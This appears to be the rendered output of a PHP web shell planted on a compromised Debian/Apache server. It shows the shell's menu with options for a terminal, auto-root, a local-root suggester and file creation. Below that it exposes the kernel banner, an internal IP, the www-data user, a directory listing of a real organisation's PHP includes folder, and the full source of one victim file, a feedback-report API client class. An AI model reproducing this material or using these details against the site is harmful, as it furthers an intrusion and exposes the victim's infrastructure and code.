Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php /** * BCE assignment / module feedback form reports via cesa-v3 external API. */ class BceAssignmentFeedbackFormsReportService { /** * @return string */ public function getV3BaseUrl() { $baseUrl = getenv('CESA_V3_API_BASE_URL'); if (!$baseUrl || strlen(trim($baseUrl)) <= 0) { $baseUrl = getenv('CESA_V3_BASE_URL'); } if (!$baseUrl || strlen(trim($baseUrl)) <= 0) { $baseUrl = 'https://v3.cesa.co.za'; } if (isset($_SERVER['HTTP_HOST']) && strpos((string) $_SERVER['HTTP_HOST'], 'devstage') !== false) { $baseUrl = 'https://cesa-v3.devstage.co.za'; } return rtrim($baseUrl, '/'); } /** * @param string $url * @param string $error * @param int $timeoutSeconds * @return array|null */ public function getJsonFromV3($url, &$error, $timeoutSeconds = 30) { $error = ''; if (!class_exists('Utils')) { include_once $_SERVER['DOCUMENT_ROOT'] . '/php/includes/Utils.php'; } $result = Utils::curlRequest( $url, 'GET', null, array('Accept: application/json'), 10, intval($timeoutSeconds) ); $httpCode = intval($result['http_code']); $rawResponse = (string) $result['response']; if ($result['error'] !== '') { $error = 'Connection failed: ' . $result['error']; return null; } if ($rawResponse === '') { $error = 'Empty response from V3 API (HTTP ' . $httpCode . ').'; return null; } $response = json_decode($rawResponse, true); if (!is_array($response)) { $snippet = preg_replace('/\s+/', ' ', substr(strip_tags($rawResponse), 0, 200)); $error = 'Invalid response from V3 API (HTTP ' . $httpCode . ').'; if ($snippet !== '') { $error .= ' ' . $snippet; } return null; } if ($httpCode < 200 || $httpCode >= 300 || (isset($response['success']) && !$response['success'])) { $error = isset($response['error']) ? trim((string) $response['error']) : ''; if ($error === '') { $error = 'API request failed with HTTP ' . $httpCode; } return null; } return $response; } /** * @param string $error * @return array */ public function listForms(&$error) { $error = ''; $response = $this->getJsonFromV3($this->getV3BaseUrl() . '/api/external/forms/reports', $error); if (!is_array($response) || !isset($response['forms']) || !is_array($response['forms'])) { if ($error === '') { $error = 'Could not load feedback forms list.'; } return array(); } return $response['forms']; } /** * @param string $formId * @param string $error * @return string */ public function getReportHtml($formId, &$error) { $error = ''; $formId = trim((string) $formId); if ($formId === '') { $error = 'No form selected.'; return ''; } $response = $this->getJsonFromV3( $this->getV3BaseUrl() . '/api/external/forms/' . rawurlencode($formId) . '/report', $error, 120 ); if (!is_array($response) || !isset($response['report_html'])) { if ($error === '') { $error = 'Could not load selected feedback report.'; } return ''; } return (string) $response['report_html']; } /** * @param string $url * @param string $error * @return array|null keys body, filename */ public function getBinaryExportFromV3($url, &$error) { $error = ''; $responseHeaders = ''; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 120); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/json;q=0.9, */*;q=0.8', )); curl_setopt( $ch, CURLOPT_HEADERFUNCTION, static function ($ch, $headerLine) use (&$responseHeaders) { $responseHeaders .= $headerLine; return strlen($headerLine); } ); $rawResponse = curl_exec($ch); if ($rawResponse === false) { $error = 'Connection failed: ' . curl_error($ch); curl_close($ch); return null; } $httpCode = intval(curl_getinfo($ch, CURLINFO_HTTP_CODE)); $contentType = (string) curl_getinfo($ch, CURLINFO_CONTENT_TYPE); curl_close($ch); if ($httpCode < 200 || $httpCode >= 300) { $decoded = json_decode($rawResponse, true); if (is_array($decoded) && isset($decoded['error'])) { $error = (string) $decoded['error']; } else { $error = 'Export failed with HTTP ' . $httpCode; } return null; } if (stripos($contentType, 'json') !== false) { $decoded = json_decode($rawResponse, true); $error = (is_array($decoded) && isset($decoded['error'])) ? (string) $decoded['error'] : 'Unexpected JSON response from export API.'; return null; } if (strlen($rawResponse) < 4 || substr($rawResponse, 0, 2) !== 'PK') { $error = 'Invalid spreadsheet response from V3.'; return null; } $filename = 'form-report.xlsx'; if (preg_match('/^Content-Disposition:\\s*[^\\n]*filename\\*=UTF-8\'\'(.+)$/im', $responseHeaders, $m)) { $filename = rawurldecode(trim(rtrim($m[1], "\r\n"), " \t\"")); } elseif (preg_match('/^Content-Disposition:\\s*[^\\n]*filename="([^"]+)"/im', $responseHeaders, $m)) { $filename = $m[1]; } return array('body' => $rawResponse, 'filename' => $filename); } /** * @param string $formId * @param string $error * @return array|null */ public function exportSpreadsheet($formId, &$error) { $formId = trim((string) $formId); if ($formId === '') { $error = 'Missing form_id.'; return null; } $exportUrl = $this->getV3BaseUrl() . '/api/external/forms/' . rawurlencode($formId) . '/report/export.xlsx'; return $this->getBinaryExportFromV3($exportUrl, $error); } }